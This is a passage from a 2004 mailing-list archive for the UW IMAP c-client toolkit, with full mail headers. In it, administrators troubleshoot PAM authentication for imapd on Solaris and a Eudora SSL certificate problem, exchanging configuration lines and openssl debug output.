0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __HAS_MSGID 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Great! Thanks! Although this wasn't the answer, it helped me in two ways. 1) I had forgotten to put imaps in my pam.conf file. 2) Watching the authentication log proved that it was actually getting = to PAM. I double checked my configuration and realized I wasn't using all = the modules that a standard login was using. When I changed it to below, everything worked: imap auth requisite pam_authtok_get.so.1 imap auth required pam_dhkeys.so.1 imap auth sufficient pam_unix_auth.so.1 imap auth required pam_smb_auth.so use_first_pass imaps auth requisite pam_authtok_get.so.1 imaps auth required pam_dhkeys.so.1 imaps auth sufficient pam_unix_auth.so.1 imaps auth required pam_smb_auth.so use_first_pass I'm not sure exactly what the authtok_get and dhkeys modules do, but I = guess they are necessary. ~ Chris -- Christopher Huyler chris@huyler.net =20 =20 =20 -----Original Message----- From: C-CLIENT-owner@u.washington.edu [mailto:C-CLIENT-owner@u.washington.edu] On Behalf Of Dirk Jahnke Sent: Monday, March 29, 2004 2:41 AM To: Christopher Huyler; c-client@u.washington.edu Subject: Re: imapd with PAM authentication on Solaris 8 Hi Christopher, I do not use SMB passwords, but imap(s) with PAM on Solaris 8. All my imap related entries in the pam.conf are like this: imaps auth optional /usr/lib/security/$ISA/pam_afs.so.1=20 try_first_pass ignore_root setenv_password_expires debug (well, "debug" only when debugging...) You can switch on debugging of PAM with syslog.conf: auth.debug /where/ever/log/pam_debug Do not forget to touch the file prior to SIGHUPing syslogd. Cheers, --=20 Dirk Jahnke Deutsches Elektronen-Synchrotron DESY Hamburg IT Systems / Bldg. 2b / Room 221 D-22603 Hamburg Notkestrasse 85 / 22607 Hamburg Tel: +49-40-899.8.1760 Fax: +49-40-899.4.1760 dirk.jahnke@desy.de From pinedev@shivax2.cac.washington.edu Wed Mar 31 04:22:07 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 31 Mar 2004 04:22:07 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2VCM6Xm015446 for ; Wed, 31 Mar 2004 04:22:06 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2VCM5A6002919 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 31 Mar 2004 04:22:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2VCK4ci013388; Wed, 31 Mar 2004 04:20:05 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2VCHBAd057256 for ; Wed, 31 Mar 2004 04:17:11 -0800 Received: from ccug.wlv.ac.uk (ccug.wlv.ac.uk [134.220.1.46]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2VCH4dZ023049 for ; Wed, 31 Mar 2004 04:17:05 -0800 Received: from [134.220.2.18] (helo=exchange02.unv.wlv.ac.uk) by ccug.wlv.ac.uk with esmtp (Exim 4.30) id 1B8edM-0006PL-BS for c-client@u.washington.edu; Wed, 31 Mar 2004 13:15:52 +0100 Message-Id: Date: Wed, 31 Mar 2004 13:15:52 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Caines, Max" To: Subject: Eudora + SSL problem content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C41719.E8F1F140" X-MS-Has-Attach: X-MS-TNEF-Correlator: X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='HTML_50_70 0.092, SUPERLONG_LINE 0.003, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CTYPE_MULTIPART_ALT 0, __EVITE_CTYPE 0, __NEXTPART_ALL 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __NEXTPART_NORMAL 0, __IMS_MSGID 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_META 0, __MIME_HTML 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_HEAD 0, __HAS_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------_=_NextPart_001_01C41719.E8F1F140 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, =20 I'm using imap-2002e with OpenSSL 0.9.7d for SSL support. I've got = Outlook Express using that, and it's perfectly happy. However, we have a = lot of Eudora users, so I'm trying to get it working with that. I'm = using 6.0.3.0, and I've set the connection method to "Required, = alternate port". Attempts to connect fail with Eudora saying: =20 MAIN 8:0.11 Dialog: "The IMAP command has failed.\n" MAIN 8:0.11 Dialog: "\n" MAIN 8:0.11 Dialog: "Reason: IMAP connection to server "wlv.ac.uk" has = been broken.." MAIN 8:0.12 Dialog: "Dismissed with 1" 25836 16:0.12 Open 134.220.1.46:993 25836 8:0.12 Dialog: "Operation Failed: Operation aborted by the user." =20 which is amusing but not very informative (I didn't abort anything). If I run OpenSSL in server emulation mode, I get: =20 /usr/local/ssl/bin/openssl s_server -cert = /usr/local/ssl/certs/wlv_ac_uk.pem -accept 993 -state -bugs Using default temp DH parameters ACCEPT SSL_accept:before/accept initialization SSL_accept:SSLv3 read client hello A SSL_accept:SSLv3 write server hello A SSL_accept:SSLv3 write certificate A SSL_accept:SSLv3 write server done A SSL_accept:SSLv3 flush data SSL_accept:failed in SSLv3 read client certificate A ERROR shutting down SSL CONNECTION CLOSED =20 which doesn't tell me much, except that the OpenSSL pseudo-server tries = to get a certificate off the client. I can't work out how to get debugging information out of the server when = connecting with Eudora, so I'm not sure how to resolve this. I did = consider that this might be the "empty fragment" issue, but IMAPD seems = to set the option needed to disable that. There's nothing logged to = syslog, by the way. =20 Anyone got any ideas about this? =20 Max Caines IT Services, University of Wolverhampton Wolverhampton, West Midlands WV1 1SB Tel: 01902 322245 Fax: 01902 322699=20 =20 ------_=_NextPart_001_01C41719.E8F1F140 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hi,
     
    I'm = using imap-2002e=20 with OpenSSL 0.9.7d for SSL support. I've got Outlook Express using = that, and=20 it's perfectly happy. However, we have a lot of Eudora users, so I'm = trying to=20 get it working with that. I'm using 6.0.3.0, and I've set the connection = method=20 to "Required, alternate port". Attempts to connect fail with Eudora=20 saying:
     
    MAIN = 8:0.11 Dialog:=20 "The IMAP command has failed.\n"
    MAIN 8:0.11 Dialog: "\n"
    MAIN = 8:0.11=20 Dialog: "Reason: IMAP connection to server "wlv.ac.uk" has been=20 broken.."
    MAIN 8:0.12 Dialog: "Dismissed with 1"
    25836 16:0.12 = Open=20 134.220.1.46:993
    25836 8:0.12 Dialog: "Operation Failed: Operation = aborted by=20 the  user."
     
    which = is amusing but=20 not very informative (I didn't abort anything).
    If I = run OpenSSL in=20 server emulation mode, I get:
     
    /usr/local/ssl/bin/openssl s_server -cert=20 /usr/local/ssl/certs/wlv_ac_uk.pem -accept 993 -state -bugs
    Using = default=20 temp DH parameters
    ACCEPT
    SSL_accept:before/accept=20 initialization
    SSL_accept:SSLv3 read client hello = A
    SSL_accept:SSLv3 write=20 server hello A
    SSL_accept:SSLv3 write certificate = A
    SSL_accept:SSLv3 write=20 server done A
    SSL_accept:SSLv3 flush data
    SSL_accept:failed in = SSLv3 read=20 client certificate A
    ERROR
    shutting down SSL
    CONNECTION=20 CLOSED
     
    which = doesn't tell=20 me much, except that the OpenSSL pseudo-server tries to get a = certificate off=20 the client.

    I = can't work out how=20 to get debugging information out of the server when connecting with = Eudora, so=20 I'm not sure how to resolve this. I did consider that this might be the = "empty=20 fragment" issue, but IMAPD seems to set the option needed to disable = that.=20 There's nothing logged to syslog, by the way.
     
    Anyone = got any ideas=20 about this?
     
    Max=20 Caines
    IT Services, University of Wolverhampton
    Wolverhampton, = West=20 Midlands WV1 1SB
    Tel: 01902 322245 Fax: 01902 322699
     
    ------_=_NextPart_001_01C41719.E8F1F140-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Mar 31 09:33:25 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 31 Mar 2004 09:33:25 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2VHXOec027122 for ; Wed, 31 Mar 2004 09:33:24 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2VHXMtt020298 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 31 Mar 2004 09:33:23 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2VHVvWS014316; Wed, 31 Mar 2004 09:31:58 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2VHTgQ6069692 for ; Wed, 31 Mar 2004 09:29:42 -0800 Received: from rosa.unet.brandeis.edu (rosa.unet.brandeis.edu [129.64.99.167]) by mxu5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2VHTeOX027408 for ; Wed, 31 Mar 2004 09:29:41 -0800 Received: from sam.unet.brandeis.edu (sam.unet.brandeis.edu [129.64.99.130]) by rosa.unet.brandeis.edu (8.12.11/8.12.11) with ESMTP id i2VHTejZ007735 for ; Wed, 31 Mar 2004 12:29:40 -0500 Received: from sam.unet.brandeis.edu (IDENT:61039@localhost.localdomain [127.0.0.1]) by sam.unet.brandeis.edu (8.12.8/8.12.8) with ESMTP id i2VHTdvp011813 for ; Wed, 31 Mar 2004 12:29:39 -0500 Received: (from sahil@localhost) by sam.unet.brandeis.edu (8.12.8/8.12.8/Submit) id i2VHTdtU011811 for c-client@u.washington.edu; Wed, 31 Mar 2004 12:29:39 -0500 Message-Id: <20040331172938.GA11790@brandeis.edu> Date: Wed, 31 Mar 2004 12:29:39 -0500 Reply-To: "sahil@brandeis.edu" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sahil Tandon To: c-client@u.washington.edu Subject: Re: Eudora + SSL problem In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, Mar 31, 2004 at 01:15:52PM +0100, Caines, Max wrote: > However, we have a lot of Eudora users, so I'm trying to get it working with > that. I'm using 6.0.3.0, and I've set the connection method to "Required, > alternate port". Attempts to connect fail with Eudora saying: > Increase the network buffer size in Eudora to 8192. -- Sahil Tandon From pinedev@shivax2.cac.washington.edu Thu Apr 1 04:46:01 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Apr 2004 04:46:01 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31Ck13o010213 for ; Thu, 1 Apr 2004 04:46:01 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31Cjxhx031880 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 1 Apr 2004 04:45:59 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i31CipZF013084; Thu, 1 Apr 2004 04:44:51 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31Cg2PW015602 for ; Thu, 1 Apr 2004 04:42:02 -0800 Received: from ccug.wlv.ac.uk (ccug.wlv.ac.uk [134.220.1.46]) by mxu7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31Cg0rA025180 for ; Thu, 1 Apr 2004 04:42:01 -0800 Received: from exchange02.unv.wlv.ac.uk ([134.220.2.18]) by ccug.wlv.ac.uk with esmtp (Exim 4.30) id 1B91PG-00025L-KY; Thu, 01 Apr 2004 13:34:50 +0100 Message-Id: Date: Thu, 1 Apr 2004 13:34:50 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Caines, Max" To: , Subject: RE: Eudora + SSL problem content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MS-Has-Attach: X-MS-TNEF-Correlator: X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__IMS_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks, but I'm afraid that made no difference. > -----Original Message----- > From: Sahil Tandon [mailto:sahil@brandeis.edu] > Sent: 31 March 2004 18:30 > To: c-client@u.washington.edu > Subject: Re: Eudora + SSL problem >=20 >=20 > On Wed, Mar 31, 2004 at 01:15:52PM +0100, Caines, Max wrote: >=20 > > However, we have a lot of Eudora users, so I'm trying to=20 > get it working with > > that. I'm using 6.0.3.0, and I've set the connection method=20 > to "Required, > > alternate port". Attempts to connect fail with Eudora saying: > =20 >=20 > Increase the network buffer size in Eudora to 8192. >=20 > --=20 > Sahil Tandon >=20 From pinedev@shivax2.cac.washington.edu Thu Apr 1 05:32:24 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Apr 2004 05:32:24 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31DWOE2011971 for ; Thu, 1 Apr 2004 05:32:24 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31DWKIb000959 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 1 Apr 2004 05:32:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i31DVNE0007440; Thu, 1 Apr 2004 05:31:23 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31DSgDn074644 for ; Thu, 1 Apr 2004 05:28:42 -0800 Received: from mail1.RZ.Uni-Augsburg.DE (mail1.RZ.Uni-Augsburg.DE [137.250.121.10]) by mxu3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31DSeAn026529 for ; Thu, 1 Apr 2004 05:28:41 -0800 Received: from bernina.physik.uni-augsburg.de ([137.250.80.10]) by mail1.RZ.Uni-Augsburg.DE with esmtp (Exim 4.30) id 1B92FJ-00068S-VU; Thu, 01 Apr 2004 15:28:37 +0200 Received: from ralfu by bernina.Physik.Uni-Augsburg.DE with local (Exim 4.30) id 1B92F9-000856-V9; Thu, 01 Apr 2004 15:28:27 +0200 Message-Id: <20040401132827.GC28212@physik.uni-augsburg.de> Date: Thu, 1 Apr 2004 15:28:27 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ralf Utermann To: "Caines, Max" Cc: sahil@brandeis.edu, c-client@u.washington.edu Subject: Re: Eudora + SSL problem In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit X-Sender: Ralf Utermann X-Virus-Scanned: aa09df379b0572ba786c2998c0bf3762 X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, __CTE 0, EMAIL_ATTRIBUTION 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, Apr 01, 2004 at 01:34:50PM +0100, Caines, Max wrote: > Thanks, but I'm afraid that made no difference. [...] > > > > Increase the network buffer size in Eudora to 8192. > > Did you check the certificates of your server or CA in Eudora? We had problems with Eudora in this area. (Tools -> Personalities, right click properties of the user (Dominant), Incoming Mail -> Last SSL Info In Certificate Information Manager you can add your certs. -Ralf -- Ralf Utermann _____________________________________________________________________ Universität Augsburg, Institut für Physik -- EDV-Betreuer Universitätsstr.1 D-86135 Augsburg Phone: +49-821-598-3231 SMTP: Ralf.Utermann@Physik.Uni-Augsburg.DE Fax: -3411 From pinedev@shivax2.cac.washington.edu Thu Apr 1 08:46:51 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Apr 2004 08:46:51 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31Gko1t018983 for ; Thu, 1 Apr 2004 08:46:50 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31Gknug008118 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 1 Apr 2004 08:46:49 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i31GjnIA016398; Thu, 1 Apr 2004 08:45:49 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31GhFb5085094 for ; Thu, 1 Apr 2004 08:43:15 -0800 Received: from ccug.wlv.ac.uk (ccug.wlv.ac.uk [134.220.1.46]) by mxu1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31GhDaV029439 for ; Thu, 1 Apr 2004 08:43:13 -0800 Received: from exchange02.unv.wlv.ac.uk ([134.220.2.18]) by ccug.wlv.ac.uk with esmtp (Exim 4.30) id 1B95Ee-0000hB-Cc; Thu, 01 Apr 2004 17:40:08 +0100 Message-Id: Date: Thu, 1 Apr 2004 17:40:08 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Caines, Max" To: "Ralf Utermann" Cc: , Subject: RE: Eudora + SSL problem content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MS-Has-Attach: X-MS-TNEF-Correlator: X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='SUPERLONG_LINE 0.003, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __IMS_MSGID 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Spot on! Many thanks. I expected Eudora to use Microsoft's certificate = store, like Outlook Express, but it uses its own, and the root = certificate for GlobalSign (who do good deals for HE in the UK) is not = in there.=20 > -----Original Message----- > From: Ralf Utermann [mailto:Ralf.Utermann@Physik.Uni-Augsburg.DE] > Sent: 01 April 2004 14:28 > To: Caines, Max > Cc: sahil@brandeis.edu; c-client@u.washington.edu > Subject: Re: Eudora + SSL problem >=20 >=20 > On Thu, Apr 01, 2004 at 01:34:50PM +0100, Caines, Max wrote: > > Thanks, but I'm afraid that made no difference. > [...] > > >=20 > > > Increase the network buffer size in Eudora to 8192. > > >=20 >=20 > Did you check the certificates of your server or CA in Eudora? We > had problems with Eudora in this area. > (Tools -> Personalities, right click properties of the user > (Dominant), Incoming Mail -> Last SSL Info > In Certificate Information Manager you can add your certs. >=20 > -Ralf > --=20 > Ralf Utermann > _____________________________________________________________________ > Universit=E4t Augsburg, Institut f=FCr Physik -- = EDV-Betreuer > Universit=E4tsstr.1 =20 > D-86135 Augsburg Phone: +49-821-598-3231 > SMTP: Ralf.Utermann@Physik.Uni-Augsburg.DE Fax: -3411 >=20 From pinedev@shivax2.cac.washington.edu Thu Apr 1 09:21:26 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Apr 2004 09:21:26 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31HLQvD021122 for ; Thu, 1 Apr 2004 09:21:26 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31HLOpX010258 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 1 Apr 2004 09:21:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i31HJYRq017304; Thu, 1 Apr 2004 09:19:57 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31HEhWm052914 for ; Thu, 1 Apr 2004 09:14:43 -0800 Received: from ccug.wlv.ac.uk (ccug.wlv.ac.uk [134.220.1.46]) by mxu7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31HEMp2007992 for ; Thu, 1 Apr 2004 09:14:41 -0800 Received: from exchange02.unv.wlv.ac.uk ([134.220.2.18]) by ccug.wlv.ac.uk with esmtp (Exim 4.30) id 1B95jB-0002yT-Gx; Thu, 01 Apr 2004 18:11:41 +0100 Message-Id: Date: Thu, 1 Apr 2004 18:11:36 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Caines, Max" To: "Ralf Utermann" Cc: , Subject: RE: Eudora + SSL problem content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MS-Has-Attach: X-MS-TNEF-Correlator: X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='SUPERLONG_LINE 0.003, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __IMS_MSGID 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Unfortunately now I seem to have an SSL error on the server: = "SSL3_GET_RECORD:decryption failed or bad mac". Google has turned up one = possibility: a page thats ays Eudora can only read DER-formatted = certificates (ours are PEM). Seems unlikely, as the certificate details = as received by Eudora are correct. Anyone seen this before?=20 > -----Original Message----- > From: Ralf Utermann [mailto:Ralf.Utermann@Physik.Uni-Augsburg.DE] > Sent: 01 April 2004 14:28 > To: Caines, Max > Cc: sahil@brandeis.edu; c-client@u.washington.edu > Subject: Re: Eudora + SSL problem >=20 >=20 > On Thu, Apr 01, 2004 at 01:34:50PM +0100, Caines, Max wrote: > > Thanks, but I'm afraid that made no difference. > [...] > > >=20 > > > Increase the network buffer size in Eudora to 8192. > > >=20 >=20 > Did you check the certificates of your server or CA in Eudora? We > had problems with Eudora in this area. > (Tools -> Personalities, right click properties of the user > (Dominant), Incoming Mail -> Last SSL Info > In Certificate Information Manager you can add your certs. >=20 > -Ralf > --=20 > Ralf Utermann > _____________________________________________________________________ > Universit=E4t Augsburg, Institut f=FCr Physik -- = EDV-Betreuer > Universit=E4tsstr.1 =20 > D-86135 Augsburg Phone: +49-821-598-3231 > SMTP: Ralf.Utermann@Physik.Uni-Augsburg.DE Fax: -3411 >=20 From pinedev@shivax2.cac.washington.edu Thu Apr 1 10:34:18 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Apr 2004 10:34:18 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31IYIHE024648 for ; Thu, 1 Apr 2004 10:34:18 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31IYGkw013674 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 1 Apr 2004 10:34:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i31IX0Ek017892; Thu, 1 Apr 2004 10:33:01 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31IVxlT010142 for ; Thu, 1 Apr 2004 10:31:59 -0800 Received: from zerowing.vosn.net (zerowing.vosn.net [209.197.232.11]) by mxu7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31IVrhT001565 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 1 Apr 2004 10:31:58 -0800 Received: from ol102-230.fibertel.com.ar ([24.232.230.102]) by zerowing.vosn.net with esmtp (Exim 4.24) id 1B96yl-0001xM-Rc for c-client@u.washington.edu; Thu, 01 Apr 2004 11:31:52 -0700 Message-Id: Date: Thu, 01 Apr 2004 15:38:48 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Pablo Agrest To: Subject: unsubscribe Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - zerowing.vosn.net X-AntiAbuse: Original Domain - u.washington.edu X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - stockcero.com X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 1 11:24:55 2004 -0800 Return-Path: Received: via tmail-2000(13) 